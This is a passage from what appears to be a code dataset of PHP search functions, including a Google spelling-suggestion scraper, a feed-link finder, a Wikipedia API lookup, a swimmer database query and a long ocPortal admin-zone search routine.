\n\t\t\tforeach ($tmpNodeRowList as $node)\n\t\t\t{\n\t\t\t\t$NodeIDList[$node->attribute('node_id')] = $node;\n\t\t\t}\n } else { // If fetched array\n \tforeach ($tmpNodeRowList as $node)\n\t\t\t{\n\t\t\t\t$NodeIDList[$node['node_id']] = $node;\n\t\t\t}\n } \n \tunset($tmpNodeRowList);\n \t \t\n\t \t$searchResult = array(\n\t \t\t'SearchCount' => $result['total_found'],\n\t \t\t'SearchResult' => $NodeIDList,\n\t \t\t'SearchTook' => $result['time'],\n\t \t\t\"StopWordArray\" => array() // Perhaps anyone nows how to set this ? :)\n\t \t);\n \n return $searchResult; \n }", "public static function search($query)\n\t{\n\t\t$url = 'http://www.google.'.static::$tld.'/m?q='.str_replace(' ', '+', $query); // URI of Google Did You Mean\n\t\t$html = static::curl($url); // Fetch HTML data\n\n\t\t// Extract suggestion and return it if any\n\t\tpreg_match('#spell=1(.*?)>(.*?)</a>#is', $html, $matches);\n\n\t\tif($matches)\n\t\t{\n\t\t\t$spell = strip_tags($matches[2]); \n\t\t\treturn $spell;\n\t\t}\n\t}", "public function searchFead($url)\n {\n $content = $this->getContent($url);\n\n if (!$content) {\n return null;\n }\n\n $data = $content['data'];\n $url = $content['url'];\n\n // rss-fead\n if (strpos($data, '<rss')) {\n $titleStart = strpos($data, '>', strpos($data, '<title')) + 1;\n return [['url' => $content['url'],\n 'title' => substr($data, $titleStart, strpos($data, '</title>', $titleStart) - $titleStart),\n 'type' => 'rss']];\n } // atom-fead\n else if (strpos($data, '<feed')) {\n $titleStart = strpos($data, '>', strpos($data, '<title')) + 1;\n return [['url' => $content['url'],\n 'title' => substr($data, $titleStart, strpos($data, '</title>', $titleStart) - $titleStart),\n 'type' => 'atom']];\n } // html page (search for feads)\n else if (strpos(strtolower($data), '<!doctype') ||\n strpos($data, '<html')\n ) {\n // take only head\n $data = substr($data, strpos($data, '<head'), strpos($data, '</head>') + 7);\n\n $document = new DOMDocument();\n $document->loadHTML($data);\n $feads = [];\n\n foreach ($document->getElementsByTagName('link') as $element) {\n $type = $element->getAttributeNode('rel')->nodeValue;\n\n if ('alternate' === $type) {\n if ('application/rss+xml' === $element->getAttributeNode('type')->nodeValue) {\n $type = 'rss';\n } else if ('application/atom+xml' === $element->getAttributeNode('type')->nodeValue) {\n $type = 'atom';\n }\n $linkUrl = $element->getAttributeNode('href')->nodeValue;\n if (0 === strpos($linkUrl, '/')) {\n $realUrl = parse_url($url);\n if (is_array($realUrl)) {\n $scheme = $realUrl['scheme'];\n if (is_null($scheme)) {\n $scheme = 'http';\n }\n $linkUrl = $scheme . '://' . $realUrl['host'] . $linkUrl;\n }\n }\n $title = $element->getAttributeNode('title')->nodeValue;\n if (is_null($title) || 0 === strlen($title)) {\n $title = $type . ' fead';\n }\n\n $fead = new Application_Model_Entity_Fead();\n $fead->setUrl($linkUrl);\n $fead->setType($type);\n $fead->setTitle($title);\n\n array_push($feads, [\n 'url' => $linkUrl,\n 'title' => $title,\n 'type' => $type\n ]);\n }\n }\n\n if ([] === $feads) {\n return null;\n }\n\n return $feads;\n }\n }", "function consulta($fword)\n {\n\t\t$ch = curl_init();\n\t\t//start the consult in the URL OF WIKI API with trated word.\n\t\t//for more examples and tests of querys, follow this link: http://en.wikipedia.org/wiki/Special:ApiSandbox\n\t\tcurl_setopt($ch, CURLOPT_URL, \"http://pt.wikipedia.org/w/api.php?action=query&prop=extracts&format=xml&exlimit=1&exintro=&titles=\".$fword);\n\t\t//configs of cURL\n\t\tcurl_setopt($ch, CURLOPT_HEADER, 0);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t//result of query\n\t\t$result = curl_exec($ch);\n\t\t//close the cURL\n\t\tcurl_close($ch);\n\t\t//show results to XML for the javascrip read\n\t\techo $result;\n }", "function searchForSwimmer ($searchString) \n{\n global $db_gala_name;\n $mysqli = openDatabase($db_gala_name);\n if ($stmt = $mysqli->prepare('SELECT AthleteName, AsaNo FROM athletes WHERE AthleteName LIKE ? ORDER BY AthleteName')) {\n $stmt->bind_param('s', $searchString);\n $stmt->execute();\n $stmt->store_result();\n }\n $results = array();\n\n // Load the results into an array\n $stmt->bind_result($athleteName, $asaNo);\n\n while ($stmt->fetch()) {\n $results[$asaNo] = $athleteName;\n }\n $mysqli->close();\n \n return $results;\n}", "function search()\n\t{\n\t\trequire_all_lang();\n\t\trequire_code('zones2');\n\t\tdisable_php_memory_limit();\n\n\t\tif (function_exists('set_time_limit')) @set_time_limit(100);\n\n\t\t$n=mixed();\n\n\t\t$default_theme=$GLOBALS['FORUM_DRIVER']->get_theme('');\n\n\t\t// Mess around to find our search keywords (takes synonyms into account, and generally tidies up)\n\t\t$raw_search_string=get_param('search_content',false,true);\n\n\t\t// Work out our keywords\n\t\t$keyword_string=$raw_search_string;\n\t\t$_keywords=array();\n\t\t$current_word='';\n\t\t$in_quotes=false;\n\t\tfor ($xi=0;$xi<strlen($keyword_string);$xi++)\n\t\t{\n\t\t\tif (($in_quotes) || (trim($keyword_string[$xi])!=''))\n\t\t\t{\n\t\t\t\tif ($keyword_string[$xi]=='\"')\n\t\t\t\t{\n\t\t\t\t\t$in_quotes=!$in_quotes;\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$current_word.=$keyword_string[$xi];\n\t\t\t\t}\n\t\t\t} else\n\t\t\t{\n\t\t\t\tif ($current_word!='') $_keywords[]=$current_word;\n\t\t\t\t$current_word='';\n\t\t\t}\n\t\t}\n\t\tif ($current_word!='') $_keywords[]=$current_word;\n\t\t$_keywords=$this->_strip_junk_words($_keywords);\n\t\tif (count($_keywords)==0)\n\t\t{\n\t\t\treturn do_template('INDEX_SCREEN_FANCIER_SCREEN',array('TITLE'=>get_page_title('ADMIN_ZONE_SEARCH_RESULTS'),'EMPTY'=>true,'ARRAY'=>true,'CONTENT'=>'','PRE'=>'','POST'=>''));\n\t\t}\n\t\t$keywords=array();\n\t\t$synonym_rows=$this->_synonyms(); // Only in English by default. To do for another language, override this file using inheritance\n\t\t$section_limitations=array();\n\t\tforeach ($_keywords as $xi=>$keyword)\n\t\t{\n\t\t\t$_keywords=array();\n\t\t\t$keyword=trim($keyword);\n\t\t\tif ($keyword=='') continue;\n\n\t\t\tif (substr($keyword,0,1)=='@')\n\t\t\t{\n\t\t\t\t$section_limitations[]=substr($keyword,1);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tforeach ($synonym_rows as $synonyms)\n\t\t\t{\n\t\t\t\tif ((in_array(strtolower($keyword),$synonyms)) || ((array_key_exists($xi+1,$_keywords)) && (in_array(strtolower($_keywords[$xi].' '.$_keywords[$xi+1]),$synonyms))))\n\t\t\t\t{\n\t\t\t\t\t$_keywords=array_merge($_keywords,$synonyms);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$_keywords[]=$keyword;\n\t\t\t$keywords[]=$_keywords;\n\t\t}\n\n\t\t// Stemming, if available (needs Stemmer class like http://www.chuggnutt.com/stemmer-source.php which we can't redistribute due to it being GPL not LGPL)\n\t\tif ((file_exists(get_file_base().'/sources_custom/stemmer_'.user_lang().'.php')) && (!in_safe_mode()))\n\t\t{\n\t\t\trequire_code('stemmer_'.user_lang());\n\t\t\t$stemmer=object_factory('Stemmer_'.user_lang());\n\t\t\tforeach ($keywords as $i=>$keyword_group)\n\t\t\t{\n\t\t\t\t$_keyword_group=$keyword_group;\n\t\t\t\tforeach ($keyword_group as $keyword)\n\t\t\t\t{\n\t\t\t\t\t// Special stemmer exceptions\n\t\t\t\t\tif ($keyword=='news') continue;\n\t\t\t\t\tif ($keyword=='defaultness') continue;\n\n\t\t\t\t\t$_keyword_group[]=$stemmer->stem($keyword);\n\t\t\t\t}\n\t\t\t\t$keywords[$i]=array_unique($_keyword_group);\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tforeach ($keywords as $i=>$keyword_group)\n\t\t\t{\n\t\t\t\t$_keyword_group=$keyword_group;\n\t\t\t\tforeach ($keyword_group as $keyword) // Lame pluralisation fudge, if we don't have stemming\n\t\t\t\t{\n\t\t\t\t\tif ((strlen($keyword)>3) && (substr($keyword,-1)=='s'))\n\t\t\t\t\t\t$_keyword_group[]=substr($keyword,0,strlen($keyword)-1);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_keyword_group[]=$keyword.'s';\n\t\t\t\t}\n\t\t\t\t$keywords[$i]=array_unique($_keyword_group);\n\t\t\t}\n\t\t}\n\n\t\t$this->keywords=$keywords;\n\n\t\t$content=array();\n\n\t\t// Admin/CMS menu icons\n\t\t$current_results_type=do_lang('ADMIN_MODULES');\n\t\tif ($this->_section_match($section_limitations,$current_results_type))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$hooks=find_all_hooks('systems','do_next_menus');\n\t\t\tforeach (array_keys($hooks) as $hook)\n\t\t\t{\n\t\t\t\trequire_code('hooks/systems/do_next_menus/'.filter_naughty_harsh($hook));\n\t\t\t\t$object=object_factory('Hook_do_next_menus_'.filter_naughty_harsh($hook),true);\n\t\t\t\tif (is_null($object)) continue;\n\t\t\t\t$info=$object->run(true);\n\t\t\t\tforeach ($info as $i)\n\t\t\t\t{\n\t\t\t\t\tif (is_null($i)) continue;\n\n\t\t\t\t\t$n=$i[3];\n\t\t\t\t\tif (($i[0]!='') && ($this->_keyword_match(is_object($n)?$n->evaluate():$n)) && (has_actual_page_access(get_member(),$i[2][0],$i[2][2])))\n\t\t\t\t\t{\n\t\t\t\t\t\t$_url=build_url(array('page'=>$i[2][0])+$i[2][1],$i[2][2]);\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>$i[0]),'adminzone'),do_lang(strtoupper($i[0]))));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Module entry points\n\t\t$current_results_type=do_lang('SCREENS');\n\t\tif ($this->_section_match($section_limitations,$current_results_type))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\tforeach (find_all_zones(false,true) as $zone=>$zone_details)\n\t\t\t{\n\t\t\t\t$modules=find_all_modules($zone);\n\t\t\t\tforeach (array_keys($modules) as $page)\n\t\t\t\t{\n\t\t\t\t\t$_entrypoints=extract_module_functions_page($zone,$page,array('get_entry_points'));\n\t\t\t\t\tif (!is_null($_entrypoints[0]))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((is_array($_entrypoints[0])) || (strpos($_entrypoints[0],'::')===false))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$entry_points=is_array($_entrypoints[0])?call_user_func_array($_entrypoints[0][0],$_entrypoints[0][1]):eval($_entrypoints[0]);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$path=zone_black_magic_filterer(filter_naughty($zone).(($zone=='')?'':'/').'pages/modules_custom/'.filter_naughty($page).'.php',true);\n\t\t\t\t\t\t\tif (!file_exists(get_file_base().'/'.$path)) $path=zone_black_magic_filterer(filter_naughty($zone).'/pages/modules/'.filter_naughty($page).'.php',true);\n\t\t\t\t\t\t\tif ((!defined('HIPHOP_PHP')) && ((ini_get('memory_limit')!='-1') && (ini_get('memory_limit')!='0') || (get_option('has_low_memory_limit')==='1')) && (strpos(file_get_contents(get_file_base().'/'.$path),' extends standard_aed_module')!==false)) // Hackerish code when we have a memory limit. It's unfortunate, we'd rather execute in full\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$new_code=str_replace(',parent::get_entry_points()','',str_replace('parent::get_entry_points(),','',$_entrypoints[0]));\n\t\t\t\t\t\t\t\tif (strpos($new_code,'parent::')!==false) continue;\n\t\t\t\t\t\t\t\t$entry_points=eval($new_code);\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\trequire_code($path);\n\t\t\t\t\t\t\t\tif (class_exists('Mx_'.filter_naughty_harsh($page)))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$object=object_factory('Mx_'.filter_naughty_harsh($page));\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$object=object_factory('Module_'.filter_naughty_harsh($page));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$entry_points=$object->get_entry_points();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($page=='admin_themes')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$entry_points['!themes']='EDIT_CSS';\n\t\t\t\t\t\t\t$entry_points['!!themes']='EDIT_TEMPLATES';\n\t\t\t\t\t\t\t$entry_points['!!!themes']='MANAGE_THEME_IMAGES';\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (is_null($entry_points)) $entry_points=array();\n\t\t\t\t\t\tforeach ($entry_points as $type=>$lang)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$type=str_replace('!','',$type); // The ! was a hackerish thing just to multiply-up possibilities for the single entry-point\n\t\t\t\t\t\t\t$n=do_lang_tempcode($lang);\n\t\t\t\t\t\t\tif (($this->_keyword_match($n->evaluate())) && (has_actual_page_access(get_member(),$page,$zone)))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>''),$zone),$zone_details[1]));\n\t\t\t\t\t\t\t\tif (($zone=='cms') || ($zone=='adminzone'))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($page!='admin') && ($page!='cms'))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$hooks=find_all_hooks('systems','do_next_menus');\n\t\t\t\t\t\t\t\t\t\tforeach (array_keys($hooks) as $hook)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\trequire_code('hooks/systems/do_next_menus/'.filter_naughty_harsh($hook));\n\t\t\t\t\t\t\t\t\t\t\t$object=object_factory('Hook_do_next_menus_'.filter_naughty_harsh($hook),true);\n\t\t\t\t\t\t\t\t\t\t\tif (is_null($object)) continue;\n\t\t\t\t\t\t\t\t\t\t\t$info=$object->run();\n\t\t\t\t\t\t\t\t\t\t\tforeach ($info as $i)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (is_null($i)) continue;\n\n\t\t\t\t\t\t\t\t\t\t\t\tif (($page==$i[2][0]) && (((!array_key_exists('type',$i[2][1])) && ($type=='misc')) || ((array_key_exists('type',$i[2][1])) && ($type==$i[2][1]['type']))) && ($zone==$i[2][2]))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($i[0]=='cms')\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$_url=build_url(array('page'=>'cms','type'=>$i[0]),'cms');\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$_url=build_url(array('page'=>'admin','type'=>$i[0]),'adminzone');\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_lang('menus');\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_lang('security');\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->attach(hyperlink($_url,do_lang_tempcode(strtoupper($i[0]))));\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($type!='misc')\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>$page,'type'=>'misc'),$zone),$i[3]));\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak 2;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>$page),$zone),$page));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$_url=build_url(array('page'=>$page,'type'=>$type),$zone);\n\t\t\t\t\t\t\t\t$sup=$tree->is_empty()?NULL:do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t\t\t$site_tree_editor_url=build_url(array('page'=>'admin_sitetree','type'=>'site_tree','id'=>$zone.':'.$page),'adminzone');\n\t\t\t\t\t\t\t\t$permission_tree_editor_url=build_url(array('page'=>'admin_permissions','id'=>$zone.':'.$page),'adminzone');\n\t\t\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>do_lang_tempcode('FIND_IN_SITE_TREE_EDITOR',escape_html($site_tree_editor_url->evaluate()),escape_html($permission_tree_editor_url->evaluate())),'SUP'=>$sup)));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('IMPORT');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_import')))\n\t\t{\n\t\t\t// Importers\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$hooks=find_all_hooks('modules','admin_import');\n\t\t\tforeach (array_keys($hooks) as $hook)\n\t\t\t{\n\t\t\t\tif ($this->_keyword_match($hook))\n\t\t\t\t{\n\t\t\t\t\trequire_code('hooks/modules/admin_import/'.filter_naughty_harsh($hook));\n\t\t\t\t\t$_hook=object_factory('Hook_'.filter_naughty_harsh($hook));\n\t\t\t\t\t$info=$_hook->info();\n\t\t\t\t\t$name=$info['product'];\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_import','type'=>'session','importer'=>$hook),get_module_zone('admin_import'));\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$name,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>'')));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('CONFIGURATION');\n\t\tif ((($this->_section_match($section_limitations,$current_results_type)) || ($this->_section_match($section_limitations,do_lang('OPTION_CATEGORIES'))) || ($this->_section_match($section_limitations,do_lang('OPTION_GROUPS')))) && (has_actual_page_access(get_member(),'admin_config')))\n\t\t{\n\t\t\t// Config options- names, descriptions, groups, categories\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$map=array();\n\t\t\tif (!is_null($GLOBALS['CURRENT_SHARE_USER'])) $map['shared_hosting_restricted']=0;\n\t\t\t$all_options=$GLOBALS['SITE_DB']->query_select('config',array('the_name','human_name','the_page','section','explanation','eval'),$map);\n\t\t\t$all_options[]=array('the_name'=>'timezone','human_name'=>'TIME_ZONE','config_value'=>'','the_type'=>'special','eval'=>'','the_page'=>'SITE','section'=>'GENERAL','explanation'=>'','shared_hosting_restricted'=>0);\n\t\t\t$config_categories=array();\n\t\t\t$conf_found_count=0;\n\t\t\tforeach ($all_options as $p)\n\t\t\t{\n\t\t\t\tif (defined('HIPHOP_PHP'))\n\t\t\t\t{\n\t\t\t\t\trequire_code('hooks/systems/config_default/'.$p['the_name']);\n\t\t\t\t\t$hook=object_factory('Hook_config_default_'.$p['the_name']);\n\t\t\t\t\t$null_test=$hook->get_default();\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$GLOBALS['REQUIRE_LANG_LOOP']=10; // LEGACY Workaround for corrupt webhost installers\n\t\t\t\t\t$null_test=eval($p['eval']);\n\t\t\t\t\t$GLOBALS['REQUIRE_LANG_LOOP']=0; // LEGACY\n\t\t\t\t}\n\n\t\t\t\tif (!is_null($null_test))\n\t\t\t\t{\n\t\t\t\t\t$n=do_lang_tempcode($p['human_name']);\n\t\t\t\t\tswitch ($p['the_name'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'timezone':\n\t\t\t\t\t\t\t$t=do_lang('DESCRIPTION_TIMEZONE_SITE');\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$t=do_lang($p['explanation'],NULL,NULL,NULL,NULL,false);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif (is_null($n)) continue;\n\t\t\t\t\t$config_value=array_key_exists('config_value',$p)?$p['config_value']:get_option($p['the_name']);\n\t\t\t\t\tif ($config_value===false) continue;\n\t\t\t\t\tif ((($this->_keyword_match($p['the_name'])) || ($this->_keyword_match($n->evaluate())) || ($this->_keyword_match($t)) || ($this->_keyword_match($config_value))))\n\t\t\t\t\t{\n\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_config','type'=>'category','id'=>$p['the_page']),'adminzone');\n\t\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t\t$url.='#group_'.$p['section'];\n\t\t\t\t\t\tif (is_null($t)) $t='';\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'setup'),'adminzone'),do_lang_tempcode('SETUP')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_config','type'=>'misc'),'adminzone'),do_lang_tempcode('CONFIGURATION')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_config','type'=>'category','id'=>$p['the_page']),'adminzone'),do_lang('CONFIG_CATEGORY_'.$p['the_page'])));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink($url,do_lang($p['section'])));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>protect_from_escaping($t),'SUP'=>$sup)));\n\n\t\t\t\t\t\tif ($conf_found_count>100)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$content[$current_results_type]=do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>do_lang_tempcode('TOO_MANY_TO_CHOOSE_FROM'),'URL'=>'','TITLE'=>'','DESCRIPTION'=>'','SUP'=>''));\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$conf_found_count++;\n\n\t\t\t\t\t\tif (!array_key_exists($p['the_page'],$config_categories)) $config_categories[$p['the_page']]=array();\n\t\t\t\t\t\t$config_categories[$p['the_page']][$p['section']]=1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$current_results_type=do_lang('OPTION_CATEGORIES');\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$current_results_type_2=do_lang('OPTION_GROUPS');\n\t\t\t$content[$current_results_type_2]=new ocp_tempcode();\n\t\t\tforeach ($config_categories as $p=>$groups)\n\t\t\t{\n\t\t\t\t$_n=do_lang('CONFIG_CATEGORY_'.$p,NULL,NULL,NULL,NULL,false);\n\t\t\t\tif (is_null($_n)) continue;\n\t\t\t\t$n=do_lang_tempcode('CONFIG_CATEGORY_'.$p);\n\t\t\t\tif ($this->_keyword_match($n->evaluate()))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_config','type'=>'category','id'=>$p),'adminzone');\n\t\t\t\t\t$description=do_lang_tempcode('CONFIG_CATEGORY_DESCRIPTION__'.$p);\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'setup'),'adminzone'),do_lang_tempcode('SETUP')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_config','type'=>'misc'),'adminzone'),do_lang_tempcode('CONFIGURATION')));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>$description,'SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t\tforeach (array_keys($groups) as $group)\n\t\t\t\t{\n\t\t\t\t\t$n2=do_lang($group,NULL,NULL,NULL,NULL,false);\n\t\t\t\t\tif (is_null($n2)) continue;\n\n\t\t\t\t\tif ($this->_keyword_match($n2))\n\t\t\t\t\t{\n\t\t\t\t\t\t$upload_max_filesize=(ini_get('upload_max_filesize')=='0')?do_lang('NA'):clean_file_size(php_return_bytes(ini_get('upload_max_filesize')));\n\t\t\t\t\t\t$post_max_size=(ini_get('post_max_size')=='0')?do_lang('NA'):clean_file_size(php_return_bytes(ini_get('post_max_size')));\n\t\t\t\t\t\t$_group_description=do_lang('CONFIG_GROUP_DESCRIP_'.$group,escape_html($post_max_size),escape_html($upload_max_filesize),NULL,NULL,false);\n\t\t\t\t\t\tif (is_null($_group_description))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$group_description=new ocp_tempcode();\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$group_description=do_lang_tempcode('CONFIG_GROUP_DESCRIP_'.$group,escape_html($post_max_size),escape_html($upload_max_filesize),false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_config','type'=>'category','id'=>$p),'adminzone');\n\t\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t\t$url.='#group_'.$group;\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'setup'),'adminzone'),do_lang_tempcode('SETUP')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_config','type'=>'misc'),'adminzone'),do_lang_tempcode('CONFIGURATION')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_config','type'=>'category','id'=>$p),'adminzone'),do_lang('CONFIG_CATEGORY_'.$p)));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type_2]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n2,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>$group_description,'SUP'=>$sup)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('USERGROUPS');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_ocf_groups')) && (get_forum_type()=='ocf'))\n\t\t{\n\t\t\t// Usergroups\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$map=array('g_is_private_club'=>0);\n\t\t\t$all_groups=$GLOBALS['FORUM_DB']->query_select('f_groups',array('id','g_name'),$map);\n\t\t\tforeach ($all_groups as $p)\n\t\t\t{\n\t\t\t\t$n=get_translated_text($p['g_name']);\n\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_ocf_groups','type'=>'_ed','id'=>$p['id']),'adminzone');\n\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t$tree=new 